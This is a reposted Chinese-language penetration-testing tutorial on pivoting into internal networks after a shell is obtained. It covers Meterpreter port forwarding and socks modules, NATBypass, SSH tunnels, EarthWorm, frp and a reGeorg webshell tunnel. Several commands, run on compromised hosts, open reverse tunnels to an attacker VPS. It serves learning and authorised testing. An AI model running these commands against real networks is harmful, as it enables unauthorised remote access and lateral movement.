浅析内网渗透代理

作者:zjun

原文:https://xz.aliyun.com/t/8001

这篇文章列举出我用过的内网代理方法,也算是对内网渗透代理姿势的巩固,也方便日后查阅。

Meterpreter

Meterpreter可以说是渗透中用得较多的工具,在反弹了处于内网的目标shell之后,介绍两种代理方式。

portfwd

portfwd用于转发单个端口,当你目的性很强的情况下,比如只需要目标的3389端口等,这不失为一种较好的方法。

详细使用语法见:https://www.offensive-security.com/metasploit-unleashed/portfwd/

大致如下:

meterpreter > portfwd add –l 7003 –p 3389 –r 192.168.52.138# 添加转发 -l:服务器监听端口  -p:内网主机需转发端口  -r:目标内网主机ipmeterpreter > portfwd delete –l 3389 –p 3389 –r 172.16.194.191# 删除转发meterpreter > portfwd list# 列出当前正在侦听和转发的端口列表meterpreter > portfwd flush# 移除所有转发端口

socks代理

socks代理只是tcp一层往上,如icmparp等就无法被代理。

msf中内置了三个socks代理模块,分别是socks4asocks5socks_unc。一般常使用 socks4asocks5进行代理。其二者只是由于所支持的具体应用不同而存在差异。socks4只支持TCP协议而socks5支持TCP/UDP协议,还支持各种身份验证机制等协议,也就是说这里使用socks5的话还需要设置用户名与密码。

浅析内网渗透代理_第1张图片

在获取shell的机器上添加路由

meterpreter > run get_local_subnets
meterpreter > run autoroute -s 192.168.21.0/24# 添加路由meterpreter > run autoroute -p# 显示路由meterpreter > route flush 
# 删除

浅析内网渗透代理_第2张图片

可以先通过arp扫描内网大概存活机器情况

meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.21.0/24

浅析内网渗透代理_第3张图片

然后建立socks4代理,

meterpreter > background
msf5 exploit(multi/handler) > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > set srvhost 127.0.0.1
msf5 auxiliary(server/socks4a) > set srvport 1080msf5 auxiliary(server/socks4a) > run

浅析内网渗透代理_第4张图片

设置完成后配置proxychains,成功

socks5模块也同理,只是会多设置一个用户名与密码。

参考:

https://blog.csdn.net/qq_36119192/article/details/105872076

https://klionsec.github.io/2016/09/25/msf-socks4a/

NATBypass

NATBypass是一个端口转发工具,类似于lcx,称为golanglcx,可编译为linuxwindows版本。

具体原理大概就是公网vps监听两个本地端口,内网目标主机建立一个端口转发,比如将本地3389转发到公网vps的一个端口,vps监听的另一个端口就相当于内网主机3389

公网vps

nb -listen 1997 2017

内网主机

nb -slave 127.0.0.1:3389 x.x.x.x:1997# x.x.x.x是公网vps的IP

本机直接访问公网vps2017端口即可实现远程内网主机。

ssh隧道

ssh可以端口转发或是建立socks5隧道。

公网主机建立SOCKS隧道

如果是具有公网地址的主机利用ssh建立socks5隧道就简单了:

ssh -N -f -D 9070 x.x.x.x

随后编辑本机/etc/proxychains.conf文件:

浅析内网渗透代理_第5张图片

代理成功:

浅析内网渗透代理_第6张图片

浏览器设置代理:

浅析内网渗透代理_第7张图片

浅析内网渗透代理_第8张图片

通过公网主机穿透两个内网

设想一下,你和目标主机分属不同的内网,从外界都无法直接连通。不过好在这两个内网都可以访问公网(JumpHost),你考虑通过一台公网机器建立两个内网之间的隧道。

在目标主机中执行:

ssh -qTfNn -R 2222:localhost:22 JumpHost

现在登录公网主机执行:

ssh -p 2222 localhost

浅析内网渗透代理_第9张图片

达到的效果只是将目标主机的端口转发到了公网,但是并未实现socks代理,思考后,尝试了后都不成功,不知可行否,若有师傅告知非常感激!

参考:https://cherrot.com/tech/2017/01/08/ssh-tunneling-practice.html

Earthworm

浅析内网渗透代理_第10张图片

简称EW,官方项目已停止更新,可在fork地址下载。

详细使用语法见:http://rootkiter.com/EarthWorm/

EW功能很强大,提供“正向”、“反向”、“多级级联”等方式打通隧道,更适用不同的操作系统,LinuxWindowsMacOSArm-Linux 。下面介绍一种简单的反向代理方法。

公网vps执行

./ew_for_linux64 -s rcsocks -l 7010 -e 7011

目标内网主机执行

.\ew_for_Win.exe -s rssocks -d x.x.x.x -e 7011# windows./ew_for_linux64 -s rssocks -d x.x.x.x -e 7011# linux

本地攻击机即可通过proxychains或者浏览器设置socks5代理至公网vps7011端口即可。

注:无意间浏览该工具作者的博客发现了该工具的新版本,http://rootkiter.com/Termite/ 还没来得及测试使用,先分享一下。

frp

浅析内网渗透代理_第11张图片

frp作为反向代理工具胜在稳定,但是其依赖配置文件,溯源容易。

项目地址:https://github.com/fatedier/frp

可用于端口映射或打通socks隧道,下面介绍socks隧道代理

公网vps主机frps.ini文件

[common]bind_port = 7000token = password

启动frps

./frps -c ./frps.ini

目标内网主机frpc.ini文件

[common]server_addr = x.x.x.xserver_port = 7000token = password[socks5]type = tcpremote_port = 7004plugin = socks5

启动frpc

./frpc -c ./frpc.ini

本地攻击机修改/etc/prxoychains.conf配置文件即可

socks5  x.x.x.x 7004

基于web服务的socks5隧道

基于web服务的socks隧道使用方便,可用于突破网络限制。常用的工具有:reGeorg,reDuh,Tunna等。

使用方法都大致一样,上传对应网站语言的脚本文件到目标内网服务器,本地利用脚本连接建立socks5隧道即可。

比如reGeorg

根据目标服务器解析语言,选择脚本上传到服务器端,访问显示Georg says, 'All seems fine',表示脚本运行正常。

本地攻击主机运行

python2 reGeorgSocksProxy.py -p 7001 -u http://url/tunnel.php

浅析内网渗透代理_第12张图片

监听7001端口,出现Georg says, 'All seems fine'字样表明运行正常。可结合prxoychains进行代理。

https://www.secshi.com

学安全,上secshi。安全师,可信赖的网络安全学习平台,以让每个白帽子高效获得可信赖的优质内容为使命。安全师汇聚网络安全技术、黑客技术、web安全攻防、代码审计、渗透测试、漏洞挖掘、白帽子教程,沉淀知识,分享经验!吸引、聚集了IT界中大量的领域专家,将高质量的内容透过人的节点来成规模地生产和分享。用户通过分享等交流方式建立信任和连接,打造和提升个人影响力,并发现、获得新机会。

你可能感兴趣的:(浅析内网渗透代理)